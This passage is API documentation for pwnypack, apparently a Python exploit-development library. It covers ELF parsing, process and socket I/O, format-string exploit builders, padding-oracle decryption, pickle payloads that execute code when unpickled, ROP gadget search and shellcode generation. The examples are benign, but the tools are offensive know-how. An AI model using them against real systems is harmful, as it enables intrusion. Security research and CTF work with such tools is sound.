gnu_object_only = 1879048184
GNU extension

gnu_verdef = 1879048189
GNU extension – Version definition section

gnu_verneed = 1879048190
GNU extension – Version requirements section

gnu_versym = 1879048191
GNU extension – Version symbol table

group = 17
Section group

hash = 5
Symbol hash table

init_array = 14
Array of initialisation functions

nobits = 8
Occupies no file space, initialised to 0

note = 7
Vendor or system specific notes

null = 0
Inactive section header

num = 19
Number of defined types

preinit_array = 16
Array of initialisation functions

progbits = 1
Program defined information

rel = 9
Relocation entries without explicit addends

rela = 4
Relocation entries with explicit addends

strtab = 3
String table

sunw_comdat = 1879048187
SUN extension

sunw_move = 1879048186
SUN extension – Additional information for partially initialized data.

sunw_syminfo = 1879048188
SUN extension – Extra symbol information.

symtab = 2
Full symbol table

symtab_shndx = 18
Extended symbol section mapping table

unknown = -1
Unknown section type

addr = None
The memory address at which this section will be loaded

addralign = None
Address alignment constraint

content
The contents of this section.

elf = None
The instance of *ELF* this symbol belongs to

entsize = None
Size of the entries in this section

flags = None
The flags for this section, see *Flags*

info = None
Holds section type dependant extra information

link = None
Holds a section type dependant section header table index link

name = None
The name of this section

name_index = None
The index into the string table for this section's name

offset = None
The offset in the file where this section resides

size = None
The size of this section in the file

type = None
The type of this section (one of *Type*

type_id = None
The numeric identifier of the section type

class Symbol(*elf*, *data*, *strs*)
Bases: object

Contains information about symbols. Called by the *ELF* class.

Parameters

- **elf** (ELF) – The ELF instance owning this symbol.
- **data** – The content of the symbol definition.
- **strs** – The content of the string section associated with the symbol table.

class Binding
Bases: enum.IntEnum

Describes a symbol's binding.

global_ = 1
Global symbol

local = 0
Local symbol

weak = 2
Weak symbol

class SpecialSection
Bases: enum.IntEnum

Special section types.

abs = 65521
Symbol has an absolute value that will not change because of relocation

common = 65522
Symbol labels a common block that has not yet been allocated.

undef = 0
Symbol is undefined and will be resolved by the runtime linker

class Type
Bases: enum.IntEnum

Describes the symbol's type.

common = 5
The symbol labels an uninitialized common block

file = 4
Contains the name of the source file

func = 2
Symbol is a function or contains other executable code

notype = 0
Symbol has no type

object = 1
Symbol is an object

section = 3
Symbol is associated with a section

tls = 6
The symbol specifies a Thread-Local Storage entity

unknown = -1
Symbol has an unknown type

class Visibility
Bases: `enum.IntEnum`

Describes the symbol's visibility.

default = 0
Global and weak symbols are visible, local symbols are hidden

hidden = 2
Symbol is invisible to other components

internal = 1
Symbol is an internal symbol

protected = 3
Symbol is visible but not preemptable

content
The contents of a symbol.
Raises `TypeError` – If the symbol isn't defined until runtime.

elf = None
The instance of *ELF* this symbol belongs to

info = None
Describes the symbol's type and binding (see *type* and

name = None
The resolved name of this symbol

name_index = None
The index of the symbol's name in the string table

other = None
Specifies the symbol's visibility

shndx = None
The section in which this symbol is defined (or one of the *SpecialSection* types)

size = None
The size of the symbol

type = None
The resolved type of this symbol (one of *Type*)

type_id = None
The numerical type of this symbol

value = None
The value of the symbol (type dependent)

visibility = None
The visibility of this symbol (one of *Visibility*)

class Type
Bases: enum.IntEnum

Describes the object type.

core = 4
Core file

executable = 2
Executable file

none = 0
No file type

os = 65024
OS specific

proc = 65280
Processor specific

relocatable = 1
Relocatable file

shared = 3
Shared object file

unknown = -1
Unknown object type

abi_version = None
The specific ABI version of the OS / ABI.

dynamic_section_entries
A list of entries in the .dynamic section.

entry = None
The entry point address.

f = None
The ELF file.

flags = None
The flags. Currently, no flags are defined.

get_dynamic_section_entry(*index*)
Get a specific .dynamic section entry by index.

Parameters **symbol** (*int*) – The index of the .dynamic section entry to return.

Returns The .dynamic section entry.

Return type *ELF.DynamicSectionEntry*

Raises `KeyError` – The requested entry does not exist.

get_program_header(*index*)
Return a specific program header by its index.

Parameters **index** (*int*) – The program header index.

Returns The program header.

Return type *ProgramHeader*

Raises `KeyError` – The specified index does not exist.

get_section_header(*section*)
Get a specific section header by index or name.

Parameters **section** (*int or str*) – The index or name of the section header to return.

Returns The section header.

Return type *SectionHeader*

Raises `KeyError` – The requested section header does not exist.

get_symbol(*symbol*)
Get a specific symbol by index or name.

Parameters **symbol** (*int or str*) – The index or name of the symbol to return.

Returns The symbol.

Return type *ELF.Symbol*

Raises `KeyError` – The requested symbol does not exist.

hsize = None
The size of the header.

machine = None
The machine architecture (one of *ELF.Machine*).

osabi = None
The OSABI (one of *ELF.OSABI*).

parse_file(*f*)
Parse an ELF file and fill the class' properties.

Parameters **f** (*file or str*) – The (path to) the ELF file to read.

phentsize = None
The size of a program header.

phnum = None
The number of program headers.

phoff = None
The offset of the first program header in the file.

program_headers
A list of all program headers.

section_headers
Return the list of section headers.

shentsize = None
The size of a section header.

shnum = None
The number of section headers.

shoff = None
The offset of the first section header in the file.

shstrndx = None
The index of the section containing the section names.

symbols
Return a list of all symbols.

type = None
The object type (one of *ELF.Type*).

2.5 flow – Communication

The Flow module lets you connect to processes or network services using a unified API. It is primarily designed for synchronous communication flows.

It is based around the central *Flow* class which uses a `Channel` to connect to a process. The *Flow* class then uses the primitives exposed by the `Channel` to provide a high level API for reading/receiving and writing/sending data.

Examples

```
>>> from pwny import *
>>> f = Flow.connect_tcp('ced.pwned.systems', 80)
>>> f.writelines([
...     b'GET / HTTP/1.0',
...     b'Host: ced.pwned.systems',
...     b'',
... ])
>>> line = f.readline().strip()
>>> print(line == b'HTTP/1.0 200 OK')
True
>>> f.until(b'\r\n\r\n')
>>> f.read_eof(echo=True)
... lots of html ...
```

```
>>> from pwny import *
>>> f = Flow.execute('cat')
>>> f.writeline(b'hello')
>>> f.readline(echo=True)
```

class pwnypack.flow.**ProcessChannel**(*executable*, *argument...*, *redirect_stderr=False*)
Bases: `object`

This channel type allows controlling processes. It uses python's `subprocess.Popen` class to execute a process and allows you to communicate with it.

Parameters

- **executable** (*str*) – The executable to start.

- **argument...** (*list of str*) – The arguments to pass to the executable.
- **redirect_stderr** (*bool*) – Whether to also capture the output of stderr.

close()
Wait for the subprocess to exit.

fileno()
Return the file descriptor number for the stdout channel of this process.

kill()
Terminate the subprocess.

read(*n*)
Read *n* bytes from the subprocess' output channel.

Parameters **n** (*int*) – The number of bytes to read.

Returns *n* bytes of output.

Return type bytes

Raises EOFError – If the process exited.

write(*data*)
Write *n* bytes to the subprocess' input channel.

Parameters **data** (*bytes*) – The data to write.

Raises EOFError – If the process exited.

class pwnypack.flow.**SocketChannel**(*sock*)
Bases: object

This channel type allows controlling sockets.

Parameters **socket** (*socket.socket*) – The (already connected) socket to control.

close()
Close the socket gracefully.

fileno()
Return the file descriptor number for the socket.

kill()
Shut down the socket immediately.

read(*n*)
Receive *n* bytes from the socket.

Parameters **n** (*int*) – The number of bytes to read.

Returns *n* bytes read from the socket.

Return type bytes

Raises EOFError – If the socket was closed.

write(*data*)
Send *n* bytes to socket.

Parameters **data** (*bytes*) – The data to send.

Raises EOFError – If the socket was closed.

class pwnypack.flow.**TCPClientSocketChannel**(*host*, *port*)
Bases: *pwnypack.flow.SocketChannel*

Convenience subclass of *SocketChannel* that allows you to connect to a TCP hostname / port pair easily.

Parameters

- **host** (*str*) – The hostname or IP address to connect to.
- **port** (*int*) – The port number to connect to.

class pwnypack.flow.**Flow**(*channel*, *echo=False*)
Bases: object

The core class of *Flow*. Takes a channel and exposes synchronous utility functions for communications.

Usually, you'll use the convenience classmethods *connect_tcp()* or *execute()* instead of manually creating the constructor directly.

Parameters

- **channel** (Channel) – A channel.
- **echo** (*bool*) – Whether or not to echo all input / output.

close()
Gracefully close the channel.

static connect_ssh(**args*, ***kwargs*)
Create a new connected SSHClient instance. All arguments are passed to SSHClient.connect().

classmethod connect_tcp(*host*, *port*, *echo=False*)
Set up a *TCPClientSocketChannel* and create a *Flow* instance for it.

Parameters

- **host** (*str*) – The hostname or IP address to connect to.
- **port** (*int*) – The port number to connect to.
- **echo** (*bool*) – Whether to echo read/written data to stdout by default.

Returns

A Flow instance initialised with the TCP socket channel.

Return type *Flow*

classmethod execute(*executable*, **arguments*, ***kwargs*)
execute(executable, argument..., redirect_stderr=False, echo=False):

Set up a *ProcessChannel* and create a *Flow* instance for it.

Parameters

- **executable** (*str*) – The executable to start.
- **argument...** (*list of str*) – The arguments to pass to the executable.
- **redirect_stderr** (*bool*) – Whether to also capture the output of stderr.
- **echo** (*bool*) – Whether to echo read/written data to stdout by default.

Returns

A Flow instance initialised with the process channel.

Return type *Flow*

classmethod execute_ssh(*command*, *arguments...*, *pty=False*, *echo=False*)
Execute *command* on a remote server. It first calls `Flow.connect_ssh()` using all positional and keyword arguments, then calls `SSHClient.execute()` with the command and pty / echo options.

Parameters

- **command** (*str*) – The command to execute on the remote server.
- **arguments...** – The options for the SSH connection.
- **pty** (*bool*) – Request a pseudo-terminal from the server.
- **echo** (*bool*) – Whether to echo read/written data to stdout by default.

Returns A Flow instance initialised with the SSH channel.

Return type *Flow*

interact()
Interact with the socket. This will send all keyboard input to the socket and input from the socket to the console until an EOF occurs.

classmethod invoke_ssh_shell(**args*, ***kwargs*)
invoke_ssh(arguments..., pty=False, echo=False)

Star a new shell on a remote server. It first calls `Flow.connect_ssh()` using all positional and keyword arguments, then calls `SSHClient.invoke_shell()` with the pty / echo options.

Parameters

- **arguments...** – The options for the SSH connection.
- **pty** (*bool*) – Request a pseudo-terminal from the server.
- **echo** (*bool*) – Whether to echo read/written data to stdout by default.

Returns A Flow instance initialised with the SSH channel.

Return type *Flow*

kill()
Terminate the channel immediately.

classmethod listen_tcp(*host=''*, *port=0*, *echo=False*)
Set up a `TCPServerSocketChannel` and create a *Flow* instance for it.

Parameters

- **host** (*str*) – The hostname or IP address to bind to.
- **port** (*int*) – The port number to listen on.
- **echo** (*bool*) – Whether to echo read/written data to stdout by default.

Returns

A Flow instance initialised with the TCP socket channel.

Return type *Flow*

read(*n*, *echo=None*)
Read *n* bytes from the channel.

Parameters

- **n** (*int*) – The number of bytes to read from the channel.
- **echo** (*bool*) – Whether to write the read data to stdout.

Returns *n* bytes of data.

Return type bytes

Raises `EOFError` – If the channel was closed.

read_eof(*echo=None*)
Read until the channel is closed.

Parameters **echo** (*bool*) – Whether to write the read data to stdout.

Returns The read data.

Return type bytes

read_until(*s*, *echo=None*)
Read until a certain string is encountered..

Parameters

- **s** (*bytes*) – The string to wait for.
- **echo** (*bool*) – Whether to write the read data to stdout.

Returns The data up to and including *s*.

Return type bytes

Raises `EOFError` – If the channel was closed.

readline(*echo=None*)
Read 1 line from channel.

Parameters **echo** (*bool*) – Whether to write the read data to stdout.

Returns The read line which includes new line character.

Return type bytes

Raises `EOFError` – If the channel was closed before a line was read.

readlines(*n*, *echo=None*)
Read *n* lines from channel.

Parameters

- **n** (*int*) – The number of lines to read.
- **echo** (*bool*) – Whether to write the read data to stdout.

Returns *n* lines which include new line characters.

Return type list of bytes

Raises `EOFError` – If the channel was closed before *n* lines were read.

until(*s*, *echo=None*)
Alias of *read_until()*.

write(*data*, *echo=None*)
Write data to channel.

Parameters

- **data** (*bytes*) – The data to write to the channel.
- **echo** (*bool*) – Whether to echo the written data to stdout.

Raises `EOFError` – If the channel was closed before all data was sent.

writeline(*line=b''*, *sep=b'\n'*, *echo=None*)
Write a byte sequences to the channel and terminate it with carriage return and line feed.

Parameters

- **line** (*bytes*) – The line to send.
- **sep** (*bytes*) – The separator to use after each line.
- **echo** (*bool*) – Whether to echo the written data to stdout.

Raises EOFError – If the channel was closed before all data was sent.

writelines(*lines*, *sep=b'\n'*, *echo=None*)
Write a list of byte sequences to the channel and terminate them with a separator (line feed).

Parameters

- **lines** (*list of bytes*) – The lines to send.
- **sep** (*bytes*) – The separator to use after each line.
- **echo** (*bool*) – Whether to echo the written data to stdout.

Raises EOFError – If the channel was closed before all data was sent.

2.6 fmtstring – Format strings

The fmtstring module allows you to build format strings that can be used to exploit format string bugs (*printf(buf);*).

pwnypack.fmtstring.**fmtstring**(*offset*, *writes*, *written=0*, *max_width=2*, *target=None*)
Build a format string that writes given data to given locations. Can be used easily create format strings to exploit format string bugs.

writes is a list of 2- or 3-item tuples. Each tuple represents a memory write starting with an absolute address, then the data to write as an integer and finally the width (1, 2, 4 or 8) of the write.

fmtstring() will break up the writes and try to optimise the order to minimise the amount of dummy output generated.

Parameters

- **offset** (*int*) – The parameter offset where the format string start.
- **writes** (*list*) – A list of 2 or 3 item tuples.
- **written** (*int*) – How many bytes have already been written before the built format string starts.
- **max_width** (*int*) – The maximum width of the writes (1, 2 or 4).
- **target** (*pwnypack.target.Target*) – The target architecture.

Returns

The format string that will execute the specified memory writes.

Return type bytes

Example

The following example will (on a 32bit architecture) build a format string that write 0xc0debabe to the address 0xdeadbeef and the byte 0x90 to 0xdeadbeef + 4 assuming that the input buffer is located at offset 3 on the stack.

```
>>> from pwny import *
>>> fmtstring(3, [(0xdeadbeef, 0xc0debabe), (0xdeadbeef + 4, 0x90, 1)])
```

2.7 marshal – Python marshal loader

This module contains functions to load and unserialize data (including .pyc files) serialized using the marshal module on most version of python.

pwnypack.marshal.**marshal_load**(*fp*, *origin=None*)

Unserialize data serialized with marshal.dump(). This function works across python versions. Marshalled code objects are returned as instances of *CodeObject*.

Parameters

- **fp** (file) – A file or file-like object that contains the serialized data.
- **origin** (*dict*) – The opcode specification of the python version that generated the data. If you provide None, the specs for the currently running python version will be used.

Returns The unserialized data.

pwnypack.marshal.**marshal_loads**(*data*, *origin=None*)

Load data serialized with marshal.dump() from a bytestring.

Parameters

- **data** (*bytes*) – The marshalled data.
- **origin** (*dict*) – The opcode specification of the python version that generated the data. If you provide None, the specs for the currently running python version will be used.

Returns The unserialized data.

pwnypack.marshal.**pyc_load**(*fp*)

Load a .pyc file from a file-like object.

Parameters **fp** (file) – The file-like object to read.

Returns The parsed representation of the .pyc file.

Return type PycFile

pwnypack.marshal.**pyc_loads**(*data*)

Load a .pyc file from a bytestring.

Parameters **data** (*bytes*) – The content of the .pyc file.

Returns The parsed representation of the .pyc file.

Return type PycFile

2.8 `oracle` – Padding oracle attacks

This module provides a functions that, given an oracle function that returns `True` when a message is properly padded and `False` otherwise, will decrypt or encrypt a given message assuming that the underlying cipher operates in CBC mode.

pwnypack.oracle.**padding_oracle_decrypt**(*oracle*, *ciphertext*, *known_prefix=b''*, *known_suffix=b''*, *block_size=128*, *alphabet=None*, *pool=None*, *block_pool=None*, *progress=None*)

Decrypt ciphertext using an oracle function that returns `True` if the provided ciphertext is correctly PKCS#7 padded after decryption. The cipher needs to operate in CBC mode.

Parameters

- **oracle** (*callable*) – The oracle function. Will be called repeatedly with a chunk of ciphertext.
- **ciphertext** (*bytes*) – The data to decrypt. Should include the IV at the start.
- **known_prefix** (*bytes*) – If the start of the plaintext is known, it can be provided to skip decrypting the known prefix.
- **known_suffix** (*bytes*) – If the end of the plaintext is known, it can be provided to skip decrypting the known suffix. Should include padding.
- **block_size** (*int*) – The cipher's block size in bits.
- **alphabet** (*bytes*) – Optimize decryption if you know which characters the plaintext will consist of.
- **pool** (*multiprocessing.Pool*) – A multiprocessing pool to use to parallelize the decryption. This pool is used to call the oracle function. Fairly heavy due to the required inter-process state synchronization. If `None` (the default), no multiprocessing will be used.
- **block_pool** (*multiprocessing.Pool*) – A multiprocessing pool to use to parallelize the decryption. This pool is used to decrypt entire blocks in parallel. When decrypting ciphertext consisting of multiple blocks, it is usually more efficient than using the `pool` argument. If `None` (the default), no multiprocessing will be used.
- **progress** (*callable*) – A callable that will be called each time a new byte is decrypted. Is called with the posititon of the character in the plaintext result and the character itself.

Returns The decrypted data with its PKCS#7 padding stripped.

Return type bytes

Raises `RuntimeError` – Raised if the oracle behaves unpredictable.

Example

```
>>> from pwny import *
>>> with multiprocessing.Pool(5) as pool:
>>>     print(padding_oracle_decrypt(oracle_function, encrypted_data, pool=pool))
b'decrypted data'
```

pwnypack.oracle.**padding_oracle_encrypt**(*oracle*, *plaintext*, *block_size=128*, *pool=None*)

Encrypt plaintext using an oracle function that returns `True` if the provided ciphertext is correctly PKCS#7 padded after decryption. The cipher needs to operate in CBC mode.

Parameters

- **oracle** (*callable*) – The oracle function. Will be called repeatedly with a chunk of ciphertext.
- **plaintext** (*bytes*) – The plaintext data to encrypt.
- **block_size** (*int*) – The cipher's block size in bits.
- **pool** (*multiprocessing.Pool*) – A multiprocessing pool to use to parallelize the encryption. This pool is used to call the oracle function. Fairly heavy due to the required inter-process state synchronization. If `None` (the default), no multiprocessing will be used.

Returns The encrypted data.

Return type bytes

Raises `RuntimeError` – Raised if the oracle behaves unpredictable.

2.9 packing – Data (un)packing

pwnypack.packing.**pack**(*fmt*, *v1*, *v2*, ..., *endian=None*, *target=None*)

Return a string containing the values v1, v2, ... packed according to the given format. The actual packing is performed by `struct.pack` but the byte order will be set according to the given *endian*, *target* or byte order of the global target.

Parameters

- **fmt** (*str*) – The format string.
- **v1,v2,..** – The values to pack.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.
- **target** (*Target*) – Override the default byte order. If `None`, it will look at the byte order of the global *target*.

Returns The provided values packed according to the format.

Return type bytes

pwnypack.packing.**unpack**(*fmt*, *data*, *endian=None*, *target=None*)

Unpack the string (presumably packed by pack(fmt, ...)) according to the given format. The actual unpacking is performed by `struct.unpack` but the byte order will be set according to the given *endian*, *target* or byte order of the global target.

Parameters

- **fmt** (*str*) – The format string.
- **data** (*bytes*) – The data to unpack.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.
- **target** (*Target*) – Override the default byte order. If `None`, it will look at the byte order of the global *target*.

Returns The unpacked values according to the format.

Return type list

pwnypack.packing.**pack_size**(*fmt*, *endian=None*, *target=None*)

pwnypack.packing.**P**(*value*, *bits=None*, *endian=None*, *target=None*)
Pack an unsigned pointer for a given target.

Parameters

- **value** (*int*) – The value to pack.
- **bits** (*Bits*) – Override the default word size. If `None` it will look at the word size of `target`.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.
- **target** (*Target*) – Override the default byte order. If `None`, it will look at the byte order of the global *target*.

pwnypack.packing.**p**(*value*, *bits=None*, *endian=None*, *target=None*)
Pack a signed pointer for a given target.

Parameters

- **value** (*int*) – The value to pack.
- **bits** (*pwnypack.target.Target.Bits*) – Override the default word size. If `None` it will look at the word size of `target`.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.
- **target** (*Target*) – Override the default byte order. If `None`, it will look at the byte order of the global *target*.

pwnypack.packing.**U**(*data*, *bits=None*, *endian=None*, *target=None*)
Unpack an unsigned pointer for a given target.

Parameters

- **data** (*bytes*) – The data to unpack.
- **bits** (*pwnypack.target.Target.Bits*) – Override the default word size. If `None` it will look at the word size of `target`.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.
- **target** (*Target*) – Override the default byte order. If `None`, it will look at the byte order of the global *target*.

Returns The pointer value.

Return type int

pwnypack.packing.**u**(*data*, *bits=None*, *endian=None*, *target=None*)
Unpack a signed pointer for a given target.

Parameters

- **data** (*bytes*) – The data to unpack.
- **bits** (*pwnypack.target.Target.Bits*) – Override the default word size. If `None` it will look at the word size of `target`.
- **endian** (*Endian*) – Override the default byte order. If `None`, it will look at the byte order of the `target` argument.

- **target** (*Target*) – Override the default byte order. If None, it will look at the byte order of the global *target*.

Returns The pointer value.

Return type int

pwnypack.packing.**p8**(*value*, *endian=None*, *target=None*)
Pack signed 8 bit integer. Alias for `pack('b', ...)`.

pwnypack.packing.**P8**(*value*, *endian=None*, *target=None*)
Pack unsigned 8 bit integer. Alias for `pack('B', ...)`.

pwnypack.packing.**u8**(*data*, *endian=None*, *target=None*)
Unpack signed 8 bit integer. Alias for `unpack('b', ...)`.

pwnypack.packing.**U8**(*data*, *endian=None*, *target=None*)
Unpack unsigned 8 bit integer. Alias for `unpack('B', ...)`.

pwnypack.packing.**p16**(*value*, *endian=None*, *target=None*)
Pack signed 16 bit integer. Alias for `pack('h', ...)`.

pwnypack.packing.**P16**(*value*, *endian=None*, *target=None*)
Pack unsigned 16 bit integer. Alias for `pack('H', ...)`.

pwnypack.packing.**u16**(*data*, *endian=None*, *target=None*)
Unpack signed 16 bit integer. Alias for `unpack('h', ...)`.

pwnypack.packing.**U16**(*data*, *endian=None*, *target=None*)
Unpack unsigned 16 bit integer. Alias for `unpack('H', ...)`.

pwnypack.packing.**p32**(*value*, *endian=None*, *target=None*)
Pack signed 32 bit integer. Alias for `pack('l', ...)`.

pwnypack.packing.**P32**(*value*, *endian=None*, *target=None*)
Pack unsigned 32 bit integer. Alias for `pack('L', ...)`.

pwnypack.packing.**u32**(*data*, *endian=None*, *target=None*)
Unpack signed 32 bit integer. Alias for `unpack('l', ...)`.

pwnypack.packing.**U32**(*data*, *endian=None*, *target=None*)
Unpack unsigned 32 bit integer. Alias for `unpack('L', ...)`.

pwnypack.packing.**p64**(*value*, *endian=None*, *target=None*)
Pack signed 64 bit integer. Alias for `pack('q', ...)`.

pwnypack.packing.**P64**(*value*, *endian=None*, *target=None*)
Pack unsigned 64 bit integer. Alias for `pack('Q', ...)`.

pwnypack.packing.**u64**(*data*, *endian=None*, *target=None*)
Unpack signed 64 bit integer. Alias for `unpack('q', ...)`.

pwnypack.packing.**U64**(*data*, *endian=None*, *target=None*)
Unpack unsigned 64 bit integer. Alias for `unpack('Q', ...)`.

2.10 php – PHP related functions

pwnypack.php.**php_serialize**(*value*)
Serialize a value for use with PHP's deserialize() function. This function can serialize bytes, strings, integers, floats, booleans, None, lists, dicts and custom objects implementing __php__().

Parameters **value** – The value to serialize.

Returns The serialized form of *value* ready to be unserialized by PHP.

Return type bytes

Example

```
>>> from pwny import *
>>> php_serialize([b'foo', u'bar', 42, 2.5, True, None, {'a': 'b'}])
b'a:7:{i:0;s:3:"foo";i:1;s:3:"bar";i:2;i:42;i:3;d:2.5;i:4;b:1;i:5;N;i:6;a:1:{s:1:
↪"a";s:1:"b";}}'
```

class pwnypack.php.**PhpObject**(*class_name*, *properties=None*)

Bases: object

Helper class to represent PHP objects for serialization using *php_serialize()*.

Instances of this class act like a dictionary of properties that should be set on the deserialized PHP instance. You can prefix the property names with `'public '`, `'protected '` or `'private '` to ensure the correct instance variables are set.

Parameters

- **class_name** (*str*) – The name of the PHP class to use when deserializing.
- **properties** (*dict*) – The properties to deserialize in this instance.

Example

```
>>> from pwny import *
>>> o = PhpObject('Foo\Bar', {'protected fg': '#000000'})
>>> php_serialize(o)
b'O:7:"Foo\Bar":1:{s:5:"\x00*\x00fg";s:7:"#000000";}'
```

2.11 pickle – Pickle tools

pwnypack.pickle.**pickle_invoke**(*func*, **args*, *target=None*, *protocol=None*)

Create a byte sequence which when unpickled calls a callable with given arguments.

Note: The function has to be importable using the same name on the system that unpickles this invocation.

Parameters

- **func** (*callable*) – The function to call or class to instantiate.
- **args** (*tuple*) – The arguments to call the callable with.
- **target** – The internals description of the targeted python version. If this is `None` the specification of the currently running python version will be used.
- **protocol** – The pickle protocol version to use (use None for default).

Returns The data that when unpickled calls `func(*args)`.

Return type bytes

Example

```
>>> from pwny import *
>>> import pickle
>>> def hello(arg):
...     print('Hello, %s!' % arg)
...
>>> pickle.loads(pickle_invoke(hello, 'world'))
Hello, world!
```

pwnypack.pickle.**pickle_func**(*func*, **args*, *target=None*, *protocol=None*, *b64encode=None*)

Encode a function in such a way that when it's unpickled, the function is reconstructed and called with the given arguments.

Note: Compatibility between python versions is not guaranteed. Depending on the *target* python version, the opcodes of the provided function are transcribed to try to maintain compatibility. If an opcode is emitted which is not supported by the target python version, a KeyError will be raised.

Constructs that are known to be problematic:

- Python 2.6 and 2.7/3.0 use very different, incompatible opcodes for conditional jumps (if, while, etc). Serializing those is not always possible between python 2.6 and 2.7/3.0.
- Exception handling uses different, incompatible opcodes between python 2 and 3.
- Python 2 and python 3 handle nested functions very differently: the same opcode is used in a different way and leads to a crash. Avoid nesting functions if you want to pickle across python functions.

Parameters

- **func** (*callable*) – The function to serialize and call when unpickled.
- **args** (*tuple*) – The arguments to call the callable with.
- **target** – The internals description of the targeted python version. If this is `None` the specification of the currently running python version will be used.
- **protocol** (*int*) – The pickle protocol version to use.
- **b64encode** (*bool*) – Whether to base64 certain code object fields. Required when you prepare a pickle for python 3 on python 2. If it's `None` it defaults to `False` unless pickling from python 2 to python 3.

Returns The data that when unpickled calls `func(*args)`.

Return type bytes

Example

```
>>> from pwny import *
>>> import pickle
>>> def hello(arg):
...     print('Hello, %s!' % arg)
...
>>> p = pickle_func(hello, 'world')
>>> del hello
```

```
>>> pickle.loads(p)
Hello, world!
```

2.12 py_internals – Python internals

This module provides a dictionary that describes the internals of carious python versions. It is used in various parts of pwnypack (*pwnypack.bytecode* and *pwnypack.pickle*).

Please note that this module is automatically generated by the `build_py_internals.py` script.

pwnypack.py_internals.**get_py_internals**(*version=None*, *default=None*)
Given a version specification. It can be any dict which is returned verbatim, an index into *PY_INTERNALS* or `None`.

Parameters

- **version** – The python version to return the internals of.
- **default** – The python version that will be looked up if `version` is None.

Returns The python internals for the requested version.

Return type dict

pwnypack.py_internals.**PY_260 = {...}**
This dictionary describes the internals of CPython 2.6.0.

pwnypack.py_internals.**PY_270 = {...}**
This dictionary describes the internals of CPython 2.7.0.

pwnypack.py_internals.**PY_300 = {...}**
This dictionary describes the internals of CPython 3.0.0.

pwnypack.py_internals.**PY_310 = {...}**
This dictionary describes the internals of CPython 3.1.0.

pwnypack.py_internals.**PY_320 = {...}**
This dictionary describes the internals of CPython 3.2.0.

pwnypack.py_internals.**PY_330 = {...}**
This dictionary describes the internals of CPython 3.3.0.

pwnypack.py_internals.**PY_340 = {...}**
This dictionary describes the internals of CPython 3.4.0.

pwnypack.py_internals.**PY_350 = {...}**
This dictionary describes the internals of CPython 3.5.0.

pwnypack.py_internals.**PY_352 = {...}**
This dictionary describes the internals of CPython 3.5.2.

pwnypack.py_internals.**PY_360 = {...}**
This dictionary describes the internals of CPython 3.6.0.

pwnypack.py_internals.**PY_INTERNALS = {260: PY_260, 270: PY_270, 300: PY_300, 310: PY_3**
This dictionary describes the internals of various python versions.

2.13 rop – ROP gadgets

The ROP module contains a function to find gadgets in ELF binaries that can be used to create ROP chains.

pwnypack.rop.**find_gadget**(*elf*, *gadget*, *align=1*, *unique=True*)

Find a ROP gadget in a the executable sections of an ELF executable or library. The ROP gadget can be either a set of bytes for an exact match or a (bytes) regular expression. Once it finds gadgets, it uses the capstone engine to verify if the gadget consists of valid instructions and doesn't contain any call or jump instructions.

Parameters

- **elf** (*ELF*) – The ELF instance to find a gadget in.
- **gadget** (*bytes or regexp*) – The gadget to find.
- **align** (*int*) – Make sure the gadget starts at a multiple of this number
- **unique** (*bool*) – If true, only unique gadgets are returned.

Returns

A dictionary containing a description of the found gadget. Contains the following fields:

- section: The section the gadget was found in.
- offset: The offset inside the segment the gadget was found at.
- addr: The virtual memory address the gadget will be located at.
- gadget: The machine code of the found gadget.
- asm: A list of disassembled instructions.

Return type dict

2.14 shellcode – Shellcode generator

This module contains functions to generate shellcode.

Note: The intended audience for this documentation is the user. Implementation details are left out where possible.

The idea is that you provide a shellcode generator environment with a highlevel declarative representation of the shellcode your want to assemble and the environment fills in the specifics.

The generic environments target X86, X86_64, ARM, ARM Thumb, ARM Thumb Mixed and AArch64 on the Linux OS. No restrictions are made on what kind of bytes end up in the binary output. If you use buffers, the code segment will need to be writable if you use the `Mutable` variants. The `Stack` variants require an initialized stack that is large enough to hold all the allocated data and buffers.

X86:

- *LinuxX86Mutable*
- *LinuxX86Stack*

X86_64:

- *LinuxX86_64Mutable*
- *LinuxX86_64Stack*

ARM:

- *LinuxARMMutable*

- *LinuxARMStack*

ARM Thumb:

- *LinuxARMThumbMutable*
- *LinuxARMThumbStack*

ARM with modeswitch to Thumb mode:

- *LinuxARMThumbMixed*
- *LinuxARMThumbStack*

AArch64:

- *LinuxAArch64Mutable*
- *LinuxAArch64Stack*

Specialized classes are also provided for X86 and X86_64. The *MutableNullSafe* and *StackNullSafe* variants attempt to generate binary output that does not contain NUL bytes, carriage returns and line feeds.

X86:

- *LinuxX86MutableNullSafe*
- *LinuxX86StackNullSafe*

X86_64:

- *LinuxX86_64MutableNullSafe*
- *LinuxX86_64StackNullSafe*

Each shellcode environment defines a set of registers that are available on the architecture and a set of system calls. These are available as properties of the respective environment.

The environment also provides a way to allocate strings and buffers. If you call *alloc_data()* with a bytestring (`str` on python 2, `bytes` on python 3) it will be allocated verbatim and an `Offset` is returned. If *alloc_data()* is called with a unicode string (`unicode` on python 2, `str` on python 3) it will be converted to a latin1 based bytestring and terminated with a NUL byte (*\0*).

alloc_buffer() can be used to allocate an uninitialized block of memory. It will not be embedded in the shellcode.

There are two ways to use these shellcode environments:

- *Declaratively*.
- *Imperatively*.

2.14.1 Declaratively defined shellcode

When using the declarative method, you create an instance of the shellcode environment which you then order to translate a list of high level operations.

There are two kinds of operations available:

- `SyscallInvoke`: Invoke a system call. You don't generally create your own instances directly. Each environment provides access to any available system calls as members which you call instead.
- `LoadRegister`: Load a register with a given value (which can be a literal value, the memory address of a piece of data or a buffer or the result of a system call).

Examples: The following example creates an instance of the LinuxX86 environment and assembles a piece of shellcode that just calls the exit system call.

```
>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     env.sys_exit(0)
... ])
'1\xdb\xb8\x01\x00\x00\x00\xcd\x80'
```

To demonstrate how registers loading works, here's an example that does the same thing but in a different way:

```
>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     sc.LoadRegister(env.EAX, 0),
...     env.sys_exit(env.EAX)
... ])
'1\xc0\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80'
```

You can also use strings or bytes. If you use a unicode string, it will be UTF-8 encoded and zero-terminated. Bytes are allocated verbatim.

```
>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
